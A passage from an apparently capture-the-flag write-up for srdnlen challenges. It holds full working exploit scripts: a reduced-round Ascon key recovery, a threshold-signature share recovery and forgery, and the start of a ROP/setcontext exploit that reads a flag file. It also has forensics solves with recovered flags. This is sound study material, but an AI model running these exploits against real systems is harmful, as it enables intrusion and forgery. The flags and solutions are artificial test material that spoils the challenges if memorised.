`F_k(n0^d0, n1^d1)` * After up to `2^16` queries we must guess the key. The core weakness is reduced-round diffusion: for `d0=d1=1< (k0_i, k1_i) = (0,0) # pair 1 -> (0,1) # pair 2 -> (1,0) # pair 3 -> (1,1) MU_A1 = (0.076, -0.157, 0.202, -0.100) # j1 = i+1, bits where CMASK has 1 MU_B1 = (-0.157, 0.076, -0.100, 0.202) # j1 = i+1, bits where CMASK has 0 MU_A2 = (0.124, -0.249, -0.249, 0.124) # j2 = i+14, bits where CMASK has 1 MU_B2 = (-0.249, 0.124, 0.124, -0.249) # j2 = i+14, bits where CMASK has 0 MASK64 = (1 << 64) - 1 IV = 0x7372646E6C656E21 RC = (0x73, 0x72, 0x64, 0x6E) class Remote: def __init__(self, host: str, port: int): self.sock = socket.create_connection((host, port), timeout=20) self.f = self.sock.makefile("rwb", buffering=0) def send_line(self, line: str) -> None: self.f.write(line.encode() + b"\n") def send_many(self, line: str, count: int) -> None: self.sock.sendall((line + "\n").encode() * count) def recv_line(self) -> str: line = self.f.readline() if not line: raise EOFError("connection closed") return line.decode().strip() def close(self) -> None: try: self.f.close() finally: self.sock.close() def build_inverse(shifts: Tuple[int, int]) -> List[int]: rows = [] for out_bit in range(64): coeff = 1 << out_bit for shift in shifts: coeff ^= 1 << ((out_bit + shift) & 63) rows.append([coeff, 1 << out_bit]) pivot_row = 0 for col in range(64): pivot = None for r in range(pivot_row, 64): if (rows[r][0] >> col) & 1: pivot = r break if pivot is None: raise RuntimeError("inverse build failed") rows[pivot_row], rows[pivot] = rows[pivot], rows[pivot_row] for r in range(64): if r != pivot_row and ((rows[r][0] >> col) & 1): rows[r][0] ^= rows[pivot_row][0] rows[r][1] ^= rows[pivot_row][1] pivot_row += 1 inv_rows = [0] * 64 for r in range(64): col = (rows[r][0] & -rows[r][0]).bit_length() - 1 inv_rows[col] = rows[r][1] return inv_rows INV0 = build_inverse((19, 28)) def apply_inverse(word: int, inv_rows: List[int]) -> int: out = 0 for bit, mask in enumerate(inv_rows): if (word & mask).bit_count() & 1: out |= 1 << bit return out def rrot(x: int, n: int) -> int: return ((x >> n) | ((x << (64 - n)) & MASK64)) & MASK64 def ascon_eval(k0: int, k1: int, n0: int, n1: int) -> Tuple[int, int]: s0, s1, s2, s3, s4 = IV, k0, k1, n0, n1 for r in range(4): s2 ^= RC[r] s0 ^= s4 s2 ^= s1 s4 ^= s3 t0 = s0 ^ ((~s1 & MASK64) & s2) t1 = s1 ^ ((~s2 & MASK64) & s3) t2 = s2 ^ ((~s3 & MASK64) & s4) t3 = s3 ^ ((~s4 & MASK64) & s0) t4 = s4 ^ ((~s0 & MASK64) & s1) s0, s1, s2, s3, s4 = t0, t1, t2, t3, t4 s1 ^= s0 s3 ^= s2 s0 ^= s4 s2 = (~s2) & MASK64 s0 ^= rrot(s0, 19) ^ rrot(s0, 28) s1 ^= rrot(s1, 61) ^ rrot(s1, 39) s2 ^= rrot(s2, 1) ^ rrot(s2, 6) s3 ^= rrot(s3, 10) ^ rrot(s3, 17) s4 ^= rrot(s4, 7) ^ rrot(s4, 41) return s0, s1 def parse_two_words(line: str) -> Tuple[int, int]: line = line.strip() if len(line) < 32: raise ValueError(f"unexpected line: {line!r}") return int(line[:16], 16), int(line[16:32], 16) def parse_first_word(line: str) -> int: line = line.strip() if len(line) < 16: raise ValueError(f"unexpected line: {line!r}") return int(line[:16], 16) def accumulate_for_bit(io: Remote, bit_idx: int, count: int) -> Tuple[int, int]: d = 1 << bit_idx j1 = (bit_idx + 1) & 63 j2 = (bit_idx + 14) & 63 io.send_many(f"{d:016x} {d:016x}", count) c1 = 0 c2 = 0 for _ in range(count): _ = io.recv_line() # nonce line a0 = parse_first_word(io.recv_line()) b0 = parse_first_word(io.recv_line()) u = apply_inverse(a0, INV0) ^ apply_inverse(b0, INV0) c1 += (u >> j1) & 1 c2 += (u >> j2) & 1 return c1, c2 def derive_key(cnt1: List[int], cnt2: List[int], totals: List[int]) -> Tuple[int, int, List[float]]: k0 = 0 k1 = 0 margins: List[float] = [] for i in range(64): n = totals[i] e1 = cnt1[i] / n - 0.5 e2 = cnt2[i] / n - 0.5 if (CMASK >> i) & 1: mu1, mu2 = MU_A1, MU_A2 else: mu1, mu2 = MU_B1, MU_B2 scores = [] for pair in range(4): s = (e1 - mu1[pair]) ** 2 + (e2 - mu2[pair]) ** 2 scores.append((s, pair)) scores.sort() best_pair = scores[0][1] margin = scores[1][0] - scores[0][0] margins.append(margin) b0 = (best_pair >> 1) & 1 b1 = best_pair & 1 k0 |= b0 << i k1 |= b1 << i return k0, k1, margins def verify_key(io: Remote, k0: int, k1: int, rounds: int) -> bool: diffs: List[Tuple[int, int]] = [] for _ in range(rounds): d0 = 1 << random.randrange(64) d1 = 1 << random.randrange(64) diffs.append((d0, d1)) for d0, d1 in diffs: io.send_line(f"{d0:016x} {d1:016x}") for d0, d1 in diffs: n0, n1 = parse_two_words(io.recv_line()) a0, a1 = parse_two_words(io.recv_line()) b0, b1 = parse_two_words(io.recv_line()) ea0, ea1 = ascon_eval(k0, k1, n0, n1) eb0, eb1 = ascon_eval(k0, k1, n0 ^ d0, n1 ^ d1) if (ea0, ea1) != (a0, a1): return False if (eb0, eb1) != (b0, b1): return False return True def recover(io: Remote) -> Tuple[int, int]: cnt1 = [0] * 64 cnt2 = [0] * 64 totals = [0] * 64 for i in range(64): c1, c2 = accumulate_for_bit(io, i, SAMPLES_PER_BIT) cnt1[i] += c1 cnt2[i] += c2 totals[i] += SAMPLES_PER_BIT for round_idx in range(MAX_REFINE_ROUNDS + 1): k0, k1, margins = derive_key(cnt1, cnt2, totals) if verify_key(io, k0, k1, VERIFY_QUERIES): return k0, k1 if round_idx == MAX_REFINE_ROUNDS: break # Add more samples to the least-separated bit decisions. order = sorted(range(64), key=lambda i: margins[i]) for i in order[:REFINE_BITS]: c1, c2 = accumulate_for_bit(io, i, REFINE_SAMPLES) cnt1[i] += c1 cnt2[i] += c2 totals[i] += REFINE_SAMPLES raise RuntimeError("failed to verify recovered key") def main() -> int: host = HOST port = PORT if len(sys.argv) >= 2: host = sys.argv[1] if len(sys.argv) >= 3: port = int(sys.argv[2]) io = Remote(host, port) try: k0, k1 = recover(io) print(f"[+] recovered key: {k0:016x} {k1:016x}") io.send_line("0000000000000000 0000000000000000") io.send_line(f"{k0:016x} {k1:016x}") lines = [] try: while True: line = io.recv_line() lines.append(line) print(line) except EOFError: pass blob = "\n".join(lines) m = re.search(r"srdnlen\{[^\n}]+\}", blob) if m: print(f"[+] flag: {m.group(0)}") return 0 return 1 finally: io.close() if __name__ == "__main__": raise SystemExit(main()) ``` ### Threshold #### Description A lattice-based FROST-like threshold signature service lets us request partial signatures from signers `1..15` (we are signer `0`) for any message except `"give me the flag"`. We are given `vk` and our share `sk[0]`. The service computes each partial as: * `z_i = r_i + lambda_i * c * s_i (mod q)` where: * `r_i` is fresh Gaussian masking noise, * `lambda_i` is the Lagrange coefficient for signer set `S`, * `c` is hash-derived challenge from aggregated commitment high bits. #### Solution Key observations: 1. The preprocessing cap is queue-depth-based (`<=8`), not total-usage-based. By alternating menu options, we can collect many signatures. 2. We can force a fixed challenge `c` by choosing our commitment `w_0` each query so the aggregate commitment sum for selected signers is exactly zero before high-bit extraction. 3. With fixed `c`, each coefficient becomes a 1D modular noisy equation: * `z = lambda * u + noise (mod q)`, where `u` is a coefficient of `c*s_i`. 4. We choose many signer subsets to get multiple `lambda` scales (small/mid/huge) for each target signer. For each coefficient, we solve via interval intersection + maximum-likelihood selection. 5. Recover 7 signer shares (`8..14`), combine with our share (`0`), reconstruct/validate the master secret via interpolation (it must be small Gaussian), then forge a valid signature on target message offline and submit. Full exploit code used: ```python #!/usr/bin/env python3 import json import math import os import re import sys from collections import defaultdict import numpy as np from pwn import remote, context sys.path.append(os.path.abspath("attachments/threshold")) from ts import TSParam, TS # noqa: E402 HOST = "threshold.challs.srdnlen.it" PORT = 1339 TARGET_MSG = b"give me the flag" B_SIGMA = 6 # bound multiplier for interval constraints # signer -> list of (lambda, count, subset including 0) PLAN = { 8: [ (1, 10, (0, 1, 2, 3, 5, 6, 8, 9)), (2002, 2, (0, 7, 8, 9, 10, 11, 12, 13)), (-2156, 2, (0, 6, 7, 8, 9, 10, 11, 13)), (5391361, 2, (0, 1, 2, 4, 8, 10, 12, 14)), (10953866, 2, (0, 1, 4, 8, 9, 12, 14, 15)), (16773117, 2, (0, 2, 3, 4, 6, 8, 10, 14)), (100638730, 2, (0, 2, 4, 6, 8, 11, 12, 13)), (499496677, 2, (0, 1, 3, 7, 8, 10, 12, 15)), ], 9: [ (1, 8, (0, 1, 2, 3, 6, 8, 9, 11)), (1848, 2, (0, 6, 7, 8, 9, 10, 11, 14)), (2156, 2, (0, 6, 7, 8, 9, 10, 11, 13)), (2288, 2, (0, 8, 9, 10, 11, 12, 14, 15)), (3003, 2, (0, 8, 9, 10, 11, 12, 13, 14)), (13252835, 2, (0, 1, 3, 4, 6, 9, 12, 14)), (-17670438, 2, (0, 1, 3, 7, 9, 10, 12, 15)), (99396266, 2, (0, 1, 2, 3, 6, 9, 10, 13)), (499821228, 2, (0, 2, 3, 4, 9, 12, 14, 15)), ], 10: [ (1, 6, (0, 1, 2, 3, 6, 9, 10, 11)), (-648, 2, (0, 5, 7, 8, 9, 10, 11, 14)), (936, 2, (0, 3, 8, 9, 10, 11, 12, 13)), (1728, 2, (0, 7, 8, 9, 10, 11, 14, 15)), (-2496, 2, (0, 7, 9, 10, 11, 12, 14, 15)), (4368, 2, (0, 7, 8, 9, 10, 11, 12, 13)), (-3144966, 2, (0, 2, 4, 6, 8, 10, 12, 14)), (6815731, 2, (0, 1, 3, 7, 9, 10, 11, 15)), (100638912, 2, (0, 2, 6, 9, 10, 11, 12, 14)), (-500548242, 2, (0, 2, 3, 5, 8, 10, 12, 15)), ], 11: [ (1, 6, (0, 1, 2, 4, 8, 10, 11, 13)), (-1365, 2, (0, 5, 8, 9, 10, 11, 12, 13)), (-1911, 2, (0, 6, 8, 9, 10, 11, 12, 13)), (2100, 2, (0, 8, 9, 10, 11, 13, 14, 15)), (3900, 2, (0, 8, 9, 10, 11, 12, 14, 15)), (6825, 2, (0, 8, 9, 10, 11, 12, 13, 14)), (-9100, 2, (0, 9, 10, 11, 12, 13, 14, 15)), (2602375, 2, (0, 1, 2, 3, 5, 6, 11, 15)), (101492625, 2, (0, 1, 2, 6, 7, 8, 11, 12)), (500957163, 2, (0, 2, 3, 6, 10, 11, 12, 13)), ], 12: [ (1, 6, (0, 1, 2, 3, 10, 11, 12, 14)), (924, 2, (0, 2, 10, 11, 12, 13, 14, 15)), (-1650, 2, (0, 5, 9, 10, 11, 12, 13, 14)), (2016, 2, (0, 7, 8, 11, 12, 13, 14, 15)), (-3080, 2, (0, 7, 9, 10, 11, 12, 13, 14)), (4200, 2, (0, 8, 9, 11, 12, 13, 14, 15)), (6930, 2, (0, 8, 10, 11, 12, 13, 14, 15)), (12779520, 2, (0, 1, 2, 3, 4, 5, 10, 12)), (14457586, 2, (0, 1, 6, 9, 11, 12, 13, 15)), (102236166, 2, (0, 3, 4, 5, 9, 11, 12, 14)), (501886602, 2, (0, 1, 2, 5, 11, 12, 14, 15)), ], 13: [ (1, 6, (0, 1, 2, 3, 10, 12, 13, 14)), (-792, 2, (0, 6, 8, 10, 12, 13, 14, 15)), (-1000, 2, (0, 4, 9, 11, 12, 13, 14, 15)), (1485, 2, (0, 8, 9, 10, 11, 12, 13, 14)), (-1980, 2, (0, 5, 10, 11, 12, 13, 14, 15)), (-3240, 2, (0, 8, 9, 11, 12, 13, 14, 15)), (-6600, 2, (0, 9, 10, 11, 12, 13, 14, 15)), (4587520, 2, (0, 1, 2, 3, 4, 5, 10, 13)), (-99090429, 2, (0, 1, 3, 8, 10, 11, 13, 14)), (502058189, 2, (0, 1, 3, 5, 7, 8, 10, 13)), ], 14: [ (1, 6, (0, 1, 2, 6, 11, 12, 14, 15)), (528, 2, (0, 8, 9, 10, 11, 13, 14, 15)), (858, 2, (0, 8, 9, 10, 12, 13, 14, 15)), (1248, 2, (0, 8, 9, 11, 12, 13, 14, 15)), (1716, 2, (0, 8, 10, 11, 12, 13, 14, 15)), (2288, 2, (0, 9, 10, 11, 12, 13, 14, 15)), (1966080, 2, (0, 1, 2, 3, 4, 5, 10, 14)), (10321920, 2, (0, 1, 2, 3, 6, 9, 10, 14)), (100638720, 2, (0, 1, 2, 6, 8, 9, 12, 14)), (498401280, 2, (0, 2, 3, 4, 10, 11, 12, 14)), ], } TARGET_SIGNERS = [8, 9, 10, 11, 12, 13, 14] DUMMY_SUBSETS = [ [1, 2, 3, 4, 5, 6, 7], [8, 9, 10, 11, 12, 13, 14], [1, 2, 3, 8, 9, 10, 15], [4, 5, 6, 11, 12, 13, 15], [1, 4, 7, 8, 11, 14, 15], [2, 5, 9, 12, 13, 14, 15], [3, 6, 10, 11, 12, 13, 14], ] def centered(x, q): x %= q return x - q if x > q // 2 else x class ServerClient: def __init__(self, host, port): context.log_level = "error" self.io = remote(host, port) self.io.recvuntil(b"Your secret key and verification key: ") line = self.io.recvline().decode().strip() self.user_data = json.loads(line) self.io.recvuntil(b"Your choice: ") def add_preprocessing(self, your_w): self.io.sendline(b"1") self.io.recvuntil(b"Get your preprocessing data: ") self.io.sendline(json.dumps(your_w).encode()) chunk = self.io.recvuntil(b"Your choice: ").decode(errors="ignore") generated = {} for line in chunk.splitlines(): line = line.strip() if not line.startswith("Preprocessing data from signer #"): continue head, body = line.split(": ", 1) idx = int(head.split("#", 1)[1]) generated[idx] = json.loads(body) return generated def request_signature(self, msg: bytes, signers): self.io.sendline(b"2") self.io.recvuntil(b"Message to sign (hex): ") self.io.sendline(msg.hex().encode()) self.io.recvuntil(b": ") self.io.sendline(" ".join(map(str, signers)).encode()) chunk = self.io.recvuntil(b"Your choice: ").decode(errors="ignore") partials = {} for line in chunk.splitlines(): line = line.strip() if not line.startswith("Partial signature from signer #"): continue head, body = line.split(": ", 1) idx = int(head.split("#", 1)[1]) partials[idx] = json.loads(body) return partials def submit_signature(self, sig): self.io.sendline(b"3") self.io.recvuntil(b"Signature on 'give me the flag': ") self.io.sendline(json.dumps(sig).encode()) out = self.io.recvall(timeout=2).decode(errors="ignore") return out def intersect_intervals(intervals, lam, z, q, B): out = [] for lo, hi in intervals: if lam > 0: kmin = math.ceil((lam * lo - z - B) / q) kmax = math.floor((lam * hi - z + B) / q) for k in range(kmin, kmax + 1): a = (z + q * k - B) / lam b = (z + q * k + B) / lam lo2 = max(lo, a) hi2 = min(hi, b) if lo2 <= hi2: out.append((lo2, hi2)) else: kmin = math.ceil((lam * hi - z - B) / q) kmax = math.floor((lam * lo - z + B) / q) for k in range(kmin, kmax + 1): a = (z + q * k + B) / lam b = (z + q * k - B) / lam lo2 = max(lo, min(a, b)) hi2 = min(hi, max(a, b)) if lo2 <= hi2: out.append((lo2, hi2)) if not out: return [] out.sort() merged = [list(out[0])] for a, b in out[1:]: if a <= merged[-1][1]: if b > merged[-1][1]: merged[-1][1] = b else: merged.append([a, b]) return [(a, b) for a, b in merged] def recover_coefficient(samples, q, sigma): B = int(B_SIGMA * sigma) base = [z if lam == 1 else (-z) % q for lam, z in samples if abs(lam) == 1] if len(base) >= 2: ref = base[0] unwrapped = [v + round((ref - v) / q) * q for v in base] mu = sum(unwrapped) / len(unwrapped) std = sigma / (len(unwrapped) ** 0.5) intervals = [(mu - 10 * std, mu + 10 * std)] else: intervals = [(0.0, float(q - 1))] for lam, z in sorted(samples, key=lambda t: abs(t[0])): nxt = intersect_intervals(intervals, lam, z, q, B) if not nxt: continue nxt = sorted(nxt, key=lambda iv: (iv[1] - iv[0]))[:256] nxt = sorted(nxt) merged = [] for a, b in nxt: if not merged or a > merged[-1][1]: merged.append([a, b]) else: if b > merged[-1][1]: merged[-1][1] = b intervals = [(a, b) for a, b in merged] if sum(b - a for a, b in intervals) < 0.6: break candidates = [] for lo, hi in intervals: a = math.ceil(lo) b = math.floor(hi) if b < a: continue if b - a > 1200: c = round((lo + hi) / 2) a = max(a, c - 1200) b = min(b, c + 1200) candidates.extend(range(a, b + 1)) if not candidates: candidates = [round((intervals[0][0] + intervals[0][1]) / 2)] best_u = None best_score = None for u0 in candidates: u = u0 % q score = 0 for lam, z in samples: d = centered((lam * u - z) % q, q) score += d * d if best_score is None or score < best_score: best_score = score best_u = u return best_u def recover_u_from_samples(z_rows, lams, q, sigma): m, dim = z_rows.shape out = np.zeros(dim, dtype=np.int64) for d in range(dim): samples_d = [(lams[t], int(z_rows[t, d])) for t in range(m)] out[d] = recover_coefficient(samples_d, q, sigma) return out def main(): param = TSParam(N=16, T=8) ts = TS(param) Rq = param.Rq client = ServerClient(HOST, PORT) vk = tuple(client.user_data["vk"]) sk0_ser = client.user_data["sk"] ts.receive_vk(vk) s0 = ts.unserialize(sk0_ser) print("[*] Connected and parsed keys") commitments = {i: [] for i in range(1, param.N)} ptr = {i: 0 for i in range(1, param.N)} zero_w = np.array([Rq.zero().copy() for _ in range(param.k)], dtype=object) zero_w_ser = ts.serialize(zero_w) print("[*] Prefilling preprocessing queues") for _ in range(7): generated = client.add_preprocessing(zero_w_ser) for j, w_ser in generated.items(): commitments[j].append(ts.unserialize(w_ser)) print("[*] Draining own commitment backlog") for S in DUMMY_SUBSETS: _ = client.request_signature(b"dummy", S) for j in S: ptr[j] += 1 # pick a fixed data-collection message producing invertible challenge at w=0 msg_data = None c_data = None c_inv = None for ctr in range(256): m = b"collect-" + bytes([ctr]) seed = ts.challenge_seed(m, zero_w) c = Rq.sample_in_ball(param.tau, seed=seed) try: inv = c.inverse() msg_data, c_data, c_inv = m, c, inv break except ZeroDivisionError: continue if msg_data is None: raise RuntimeError("Failed to find invertible fixed challenge") print(f"[*] Fixed collection message: {msg_data!r}") expected_seed = ts.challenge_seed(msg_data, zero_w) approx = lambda w: np.array([wi.high_bits(param.gamma_w) for wi in w], dtype=object) samples = defaultdict(list) # signer -> list[(lam, flat_coeff_vector)] mismatch_count = 0 total_queries = sum(sum(cnt for _, cnt, _ in PLAN[i]) for i in TARGET_SIGNERS) done_queries = 0 for signer in TARGET_SIGNERS: print(f"[*] Collecting samples for signer {signer}") for lam, cnt, S in PLAN[signer]: subset = [x for x in S if x != 0] for _ in range(cnt): sum_w = None for j in subset: if ptr[j] >= len(commitments[j]): raise RuntimeError(f"Missing commitment for signer {j} (ptr={ptr[j]}, len={len(commitments[j])})") wj = commitments[j][ptr[j]] sum_w = wj if sum_w is None else (sum_w + wj) your_w_elem = -sum_w your_w = ts.serialize(your_w_elem) generated = client.add_preprocessing(your_w) for j, w_ser in generated.items(): commitments[j].append(ts.unserialize(w_ser)) partials = client.request_signature(msg_data, subset) if signer not in partials: raise RuntimeError(f"Signer {signer} partial missing") _, zi_ser = partials[signer] zi = ts.unserialize(zi_ser) coeffs = np.concatenate([z.coeffs.astype(np.int64) for z in zi]) samples[signer].append((lam, coeffs)) # Validate that we indeed forced aggregate commitment high-bits to zero. ws_actual = [your_w_elem] + [ts.unserialize(p[0]) for p in partials.values()] w_chk = approx(sum(ws_actual)) if not all(a == b for a, b in zip(w_chk, zero_w)): mismatch_count += 1 if mismatch_count <= 5: print(f" [warn] nonzero aggregate commitment in query {done_queries + 1}") else: seed_chk = ts.challenge_seed(msg_data, w_chk) if seed_chk != expected_seed: mismatch_count += 1 if mismatch_count <= 5: print(f" [warn] unexpected challenge seed in query {done_queries + 1}") for j in subset: ptr[j] += 1 done_queries += 1 if done_queries % 10 == 0 or done_queries == total_queries: print(f" progress {done_queries}/{total_queries}") print(f"[*] Aggregate commitment mismatches observed: {mismatch_count}") if mismatch_count > 0: raise RuntimeError("Fixed-challenge enforcement failed") print("[*] Recovering signer shares") recovered = {0: s0} for signer in TARGET_SIGNERS: obs = samples[signer] lams = [lam for lam, _ in obs] z_rows = np.stack([z for _, z in obs], axis=0) u_flat = recover_u_from_samples(z_rows, lams, param.q, param.sigma_w) u_vec = np.array( [Rq(u_flat[j * param.n:(j + 1) * param.n].tolist()) for j in range(param.ell)], dtype=object, ) s_i = np.array([c_inv * ui for ui in u_vec], dtype=object) recovered[signer] = s_i print(f" signer {signer} recovered") print("[*] Sanity-checking reconstruction") S_final = [0] + TARGET_SIGNERS S_final = sorted(S_final) for signer in TARGET_SIGNERS: u_pred = np.concatenate([x.coeffs.astype(np.int64) for x in (c_data * recovered[signer])]) errs = [] for lam, z in samples[signer]: diff = (z.astype(np.int64) - (lam * u_pred) % param.q) % param.q cd = np.where(diff <= param.q // 2, diff, diff - param.q).astype(np.int64) errs.append(cd) all_err = np.concatenate(errs) rms = float(np.sqrt(np.mean(all_err.astype(np.float64) ** 2))) print(f" signer {signer} residual RMS = {rms:.2f}") # master secret estimate should be small because true s is gaussian(sigma_t) s_master = np.array([Rq.zero().copy() for _ in range(param.ell)], dtype=object) for i in S_final: lam = ts.lagrange_coeff(i, S_final) s_master = s_master + lam * recovered[i] max_abs = max(abs(int(c)) for poly in s_master for c in poly.centered_coeffs()) print(f" estimated master secret max |coeff| = {max_abs}") if max_abs > 10000: raise RuntimeError("Recovered shares look inconsistent (master secret not small)") print("[*] Forging target signature") sig = None for attempt in range(1, 200): rs = [] ws = [] for i in S_final: r = Rq.gaussian(param.sigma_w, param.ell) e = Rq.gaussian(param.sigma_w, param.k) wi = ts.A @ r + e rs.append(r) ws.append(wi) w = approx(sum(ws)) seed = ts.challenge_seed(TARGET_MSG, w) c_t = Rq.sample_in_ball(param.tau, seed=seed) zs = [] for i, r in zip(S_final, rs): lam = ts.lagrange_coeff(i, S_final) zi = r + c_t * lam * recovered[i] zs.append(zi) z = sum(zs) y = approx(ts.A @ z - c_t * ts.t) h = w - y sig_try = (seed.hex(), ts.serialize(z), ts.serialize(h)) if ts.verify(TARGET_MSG, sig_try): sig = sig_try print(f" forged on attempt {attempt}") break if sig is None: raise RuntimeError("Failed to forge a locally-valid signature") print("[*] Submitting forged signature to remote") out = client.submit_signature(sig) print(out) m = re.search(r"srdnlen\{[^}\r\n]+\}", out) if not m: raise RuntimeError("Flag not found in server response") flag = m.group(0) print(f"[+] FLAG: {flag}") if __name__ == "__main__": main() ``` *** ## misc ### The Trilogy of Death Volume I: Corel #### Description Forensics challenge on a Corel Linux disk image. A WordPerfect macro file (`fc.wcm`) is present and contains the clue `The key is in what is left` plus encrypted byte arrays. #### Solution The direct image-repair path was a dead end, so I pivoted to the macro artifact. `fc.wcm` contains: * A 4-byte key array (`k1..k4`) initially set to `FAKE`. * A phrase printer: `The key is in what is left`. * Two encrypted arrays (`docbody`, `rh`) decoded with: ``` (bb + kb) - 2 * (bb & kb) ``` This expression is bitwise XOR (`bb ^ kb`). So the payload is XOR-encrypted with a repeating 4-byte key. Using the given fake key prints nonsense. I brute-forced the 4-byte key under a strict flag charset (`[a-z0-9_{}]`) against `docbody`. Code used: ```python # solve_fc_wcm.py import string docbody = [ 206,56,8,128,209,47,2,149,202,34,95,128,226,41,92,156,142,38,51,153, 137,57,51,218,211,21,88,130,201,121,30,128,137,62,93,152,142,55 ] # strict CTF-like charset allowed = set(map(ord, string.ascii_lowercase + string.digits + "_{}")) # Find all key-byte candidates per key position (mod 4) cands = [] for j in range(4): good = [] for k in range(256): ok = True for i in range(j, len(docbody), 4): if (docbody[i] ^ k) not in allowed: ok = False break if ok: good.append(k) cands.append(good) print("Candidates per key byte:", cands) # Enumerate candidates and print decoded plaintexts for k0 in cands[0]: for k1 in cands[1]: for k2 in cands[2]: for k3 in cands[3]: key = [k0, k1, k2, k3] pt = ''.join(chr(c ^ key[i % 4]) for i, c in enumerate(docbody)) if pt.startswith("srd") and pt.endswith("}"): print("key=", key, "->", pt) ``` Output includes: ``` key= [189, 74, 108, 238] -> srdnlen{wh3n_c0r3l_w4s_4n_4lt3rn4t1v3} ``` Submitted flag: ``` srdnlen{wh3n_c0r3l_w4s_4n_4lt3rn4t1v3} ``` ### The Trilogy of Death Volume II: The Legendary Armory #### Description Forensics challenge on a Windows minidump (`chall.dmp`) with the hint that two relics in volatile memory must be XORed. #### Solution The visible `SRDNLEN{REALLY_EASY?}` image text was a decoy. The real path came from the `d.iso` clue in a recovered image fragment and recovered ISO directory entries (`K.;1`, `T.;1`). The clean `T` payload copy in memory is at `0x7625d8b` (size `176578`), and the 8-byte XOR key is: `f4 14 a5 31 17 02 0b 84` XORing `T` with this repeating key yields a ZIP local-header stream (no central directory). Extracting entries from local headers recovers multiple ZZT files, including `TOWN.ZZT`. Inside `TOWN.ZZT`, the Armory text is stored as repeated control triples `\x01\x35`. Decoding that run reveals the flag. Repro script: ```python from pathlib import Path import struct import zlib import re dump = Path("chall.dmp").read_bytes() # Recovered from memory artifacts key = bytes.fromhex("f4 14 a5 31 17 02 0b 84") T_OFF = 0x7625D8B T_SIZE = 176578 enc_t = dump[T_OFF:T_OFF + T_SIZE] dec = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc_t)) # Parse ZIP local headers directly (no central directory required) files = {} pos = 0 while True: off = dec.find(b"PK\x03\x04", pos) if off < 0 or off + 30 > len(dec): break (ver, flag, method, mtime, mdate, crc, csize, usize, nlen, xlen) = struct.unpack_from( " len(dec): pos = off + 1 continue try: name = name_b.decode("ascii") except UnicodeDecodeError: pos = off + 1 continue comp = dec[data_off:data_off + csize] try: if method == 8: raw = zlib.decompress(comp, -15) # raw deflate elif method == 0: raw = comp else: pos = off + 1 continue except zlib.error: pos = off + 1 continue files[name] = raw pos = data_off + csize town = files["TOWN.ZZT"] # Armory hidden text format: (0x01, 0x35, printable_char) repeated for m in re.finditer(rb"(?:\x01\x35[\x20-\x7e]){8,}", town): s = "".join(chr(town[i + 2]) for i in range(m.start(), m.end(), 3)) if "srdnlen{" in s: print(s) break ``` Output: ``` srdnlen{rdvr4md1sk_h1d3s_th3_s3cret_4rmory!} ``` ### The Trilogy of Death Volume III: The Poisoned Apple #### Description Given `poisoned_apple.zip` (contains `poisoned_apple.dmg`), `encrypted_flag.bin`, and a slow decryptor (`decrypt_flag.py`) with 500,000 candidate keys (`keys/key_*.txt`) inside APFS. Bruteforce is intentionally impractical (`PBKDF2-SHA256`, `140000000` iterations). #### Solution The intended path is APFS forensics, not crypto. 1. Extract and inspect image: ```bash 7z x -mmt=1 -y poisoned_apple.zip poisoned_apple.dmg fdisk -l poisoned_apple.dmg # APFS partition starts at sector 409640 ``` 2. Extract APFS partition and locate APFS volume superblocks (`APSB`): ```bash dd if=poisoned_apple.dmg of=apfs_partition.img bs=512 skip=409640 count=5881776 conv=sparse ``` ```python # find APFS volume superblocks (snapshot-like states) import mmap, struct from pathlib import Path with Path("apfs_partition.img").open("rb") as f: mm = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) pos = 0 snaps = [] while True: i = mm.find(b"APSB", pos) if i == -1: break if (i - 32) % 4096 == 0: blk = (i - 32) // 4096 hdr = mm[i - 32:i] xid = struct.unpack_from(" fsevent_500211.bin gzip -dc fsevent_500211.bin > fsevent_500211.raw ``` ```python # quick parser for 3SLD event stream: path + (event_id, flags, file_id, unk) from pathlib import Path b = Path("fsevent_500211.raw").read_bytes() pos = 12 # skip 3SLD header records = [] while pos < len(b): end = b.find(b"\x00", pos) if end == -1 or end + 1 + 24 > len(b): break path = b[pos:end].decode("utf-8", "replace") pos = end + 1 event_id = int.from_bytes(b[pos:pos+8], "little"); pos += 8 flags = int.from_bytes(b[pos:pos+4], "little"); pos += 4 file_id = int.from_bytes(b[pos:pos+8], "little"); pos += 8 unk = int.from_bytes(b[pos:pos+4], "little"); pos += 4 records.append((path, event_id, flags, file_id, unk)) # key_449231 is the important outlier with different flags from bulk-generated keys for r in records: if "key_449231" in r[0]: print(r) ``` 5. Read `key_449231` across APFS superblock states (history): ```python import subprocess, struct, mmap from pathlib import Path # collect APSB blocks with XIDs with Path("apfs_partition.img").open("rb") as f: mm = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) pos = 0 snaps = [] while True: i = mm.find(b"APSB", pos) if i == -1: break if (i - 32) % 4096 == 0: blk = (i - 32) // 4096 hdr = mm[i-32:i] xid = struct.unpack_from("= 5527): `b1a64c6e89971c26ce98d5984ec0499756306813c692ebb26cc039ad4c9b3319` The newer one is the poisoned value; the older snapshot value is the real key. 6. Decrypt and verify: ```python import hashlib, hmac, struct from pathlib import Path key_hex = "39f520679fd68654500f9cd44e8caed2bc897a3227dc297c4520336de2a59dd7" data = Path("encrypted_flag.bin").read_bytes() salt = data[:16] iterations, flag_len = struct.unpack(" mov rdi,rax ; add rsp,0x58 ; ret -> read_stdin`) to place arbitrary 8-byte chunks in `.bss`, * finally jumps to `setcontext` with a crafted fake ucontext. Final payload uses: * `fopen("/challenge/flag.txt", "r")` * `mov rdx, rax ; ret` to pass returned `FILE*` to `fgets` * `fgets(buf, 0x80, fp)` * `puts(buf)` Important gotcha: this service accepted libc symbol offsets (`puts/fgets/fopen/setcontext`) from the provided `libc.so.6`, but gadget offsets differed between Ubuntu `2.42-0ubuntu3` and `2.42-0ubuntu3.1`. So the exploit tries both gadget sets: * set A: `pop rdi=0x11b93a`, `mov rdx,rax=0x145f17` * set B: `pop rdi=0x11b8ba`, `mov rdx,rax=0x145ed7` Remote solved with set B. ```python #!/usr/bin/env python3 from pwn import * import re import time context.log_level = "error" context.binary = elf = ELF("./attachments/common_offset", checksec=False) libc = ELF("./attachments/libc.so.6", checksec=False) HOST = "common-offset.challs.srdnlen.it" PORT = 1089 # Binary gadgets/functions ADD28 = 0x40157B POP_RAX = 0x4014EC MOV_RDI_RAX_ADD58_RET = 0x4014E5 DISPATCH_RDI404048_JMP_RAX = 0x401167 RET_MAIN = 0x401140 READ_STDIN = 